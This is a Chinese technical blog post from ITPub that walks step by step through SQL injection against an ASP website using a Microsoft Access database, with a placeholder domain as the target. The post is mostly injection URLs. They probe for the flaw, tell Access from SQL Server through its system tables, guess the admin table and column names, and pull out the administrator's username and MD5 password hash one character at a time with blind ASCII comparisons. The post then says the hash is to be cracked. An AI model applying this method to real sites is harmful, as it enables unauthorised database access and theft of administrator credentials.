ITPub博客

首页 > 大数据 > 数据挖掘 > 注入攻击Access数据库示例

注入攻击Access数据库示例

数据挖掘 作者:liushuimb 时间:2014-03-11 13:20:00 0 删除 编辑

ACCESS数据库即Microsoft Office Access。Microsoft Office Access是由微软发布的关联式数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程式之一。

工具/原料

  • Microsoft Office Access

方法/步骤

  1. 1

    第1步:加单引号。

    如图6.18所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加一个单引号,按Enter键后,服务器返回错误提示。

  2. 2

    第2步:测试“and 1=1”。如图6.19所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加“and 1=1”,按Enter键后,服务器返回正常页面。

  3. 3

    第3步:测试“and 1=2”。

    如图6.20所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加“and 1=2”,按Enter键后,服务器返回异常页面。

  4. 4

    第4步:判断数据库类型。

    Access和SQL Server都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表“msysobjects”中,但在Web环境下读该表会提示“没有权限”;SQL Server是在表“sysobjects”中,在Web环境下可正常读取。

    在确认可以注入的情况下,使用下面的语句:

    http://www.yyy.com/productDetail_c.asp?ID=568 and(select count(*) from sysobjects)>0

    如果数据库是Access,由于找不到表sysobjects,服务器返回如图6.21所示的错误提示。

  5. 5

    使用下面的语句:

    http://www.yyy.com/productDetail_c.asp?ID=568 and(select count(*) from msysobjects)>0

    如果是Access数据库,服务器会返回错误提示“在'msysobjects'上没有读取数据权限。”,如图6.22所示,如果Web程序有容错能力,那么服务器返回的页面也会与原页面不同。

    由上可以判断数据库用的是Access。

     

    第5步:猜测表名。猜测表名时也可以使用如下形式:

    http://www.yyy.com/productDetail_c.asp?ID=568 and(select count(*) from admin)>=0

    http://www.yyy.com/productDetail_c.asp?ID=568and exists(select * from admin)是向数据库查询是否存在admin表,如果存在则返回正常页面,不存在会返回错误提示,如此循环,直至猜测到表名为止。

    返回正常页面时,猜测到管理员表是admin。

     

    第6步:猜测字段名(用户名和密码字段)。表名猜出来后,将count(*)替换成count(字段名),用同样的原理猜解字段名。

    首先猜测用户名字段:

    www.yyy.com/productDetail_c.asp?ID=568 and (selectcount(username) from admin)>=0

    www.yyy.com/productDetail_c.asp?ID=568 andexists(select username from admin)返回正常页面,用户名字段猜测成功,用户名字段名是“username”。

    然后猜测密码字段:

    www.yyy.com/productDetail_c.asp?ID=568 and (selectcount(password) from admin)>=0

    www.yyy.com/productDetail_c.asp?ID=568 andexists(select password from admin)返回正常页面,则密码字段猜测成功,密码字段名是“password”。

     

    第7步:猜测用户名。已知表admin中存在username字段,下面使用ASCII逐字解码法猜测用户名。

    猜测用户名的长度:

    www.yyy.com/productDetail_c.asp?ID=568 and(select top 1 len(username) from admin)>4返回正常页面;www.yyy.com/productDetail_c.asp?ID=568 and (select top 1len(username) from admin)>5返回不正常页面,可知用户名长度是5。

     

    在得到用户名长度后,用asc (mid (username, N, 1))获得第N位字符的ASCII码,比如:

    (1)猜测第1个字符。

    从ID=568 and(select top 1 asc (mid (username, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid(username, 1, 1)) from admin)>96显示正常,而ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)>97显示不正常,得第1个字符是“a”(查ASCII码字符表,字符a的十进制编码是97)。

    (2)猜测第2个字符。

    从ID=568 and(select top 1 asc (mid (username, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid(username, 2, 1)) from admin)>99显示正常,而ID=568 and (select top 1 asc (mid (username, 2, 1)) from admin)>100显示不正常,得第2个字符是“d”(查ASCII码字符表,字符d的十进制编码是100)。

    (3)猜测第3个字符。

    (4)猜测第4个字符。

    (5)猜测第5个字符。

    最终得到用户名是“admin”。

     

    第8步:猜测用户密码。已知表admin中存在password字段,下面猜测用户admin的密码。

    猜测密码的长度:

    www.yyy.com/productDetail_c.asp?ID=568 and(select top 1 len(password) from admin)>15返回正常页面,www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(password)from admin)>16返回不正常页面,可知用户admin的密码长度是16(md5加密后的)。

    在得到用户admin的密码长度后,就可以用asc (mid (password, N, 1))获得第N位字符的ASCII码,比如:

    (1)猜测第1个字符。

    从ID=568 and(select top 1 asc (mid (password, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password,1, 1)) from admin)>56显示正常,而ID=568 and (select top 1 asc (mid (password, 1, 1)) from admin)>57显示不正常,得第1个字符是“9”(查ASCII码字符表,字符9的十进制编码是57)。

    (2)猜测第2个字符。

    从ID=568 and(select top 1 asc (mid (password, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password,2, 1)) from admin)>56显示正常,而ID=568 and (select top 1 asc (mid (password, 2, 1)) from admin)>57显示不正常,得第2个字符是“9”(查ASCII码字符表,字符9的十进制编码是57)。

    (3)猜测第3个字符。

    (4)猜测第4个字符。

    (5)猜测第5个字符。

    (6)猜测第6个字符。

    (7)猜测第7个字符。

    (8)猜测第8个字符。

    (9)猜测第9个字符。

    (10)猜测第10个字符。

    (11)猜测第11个字符。

    (12)猜测第12个字符。

    (13)猜测第13个字符。

    (14)猜测第14个字符。

    (15)猜测第15个字符。

    (16)猜测第16个字符。

    最终得到md5密码是“993a366f61fd519a”,然后要对密码进行破解。

    注意:猜解Access时只能用ASCII逐字解码法,SQL Server也可以用这种方法,但是如果能用MS SQL Server的报错信息把相关信息暴露出来,会极大地提高效率和准确率。

    END

来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/22073741/viewspace-1110687/ ,如需转载,请注明出处,否则将追究法律责任。

上一篇: 没有了~
下一篇: 没有了~
请登录后发表评论 登录
全部评论

注册时间:2009-07-09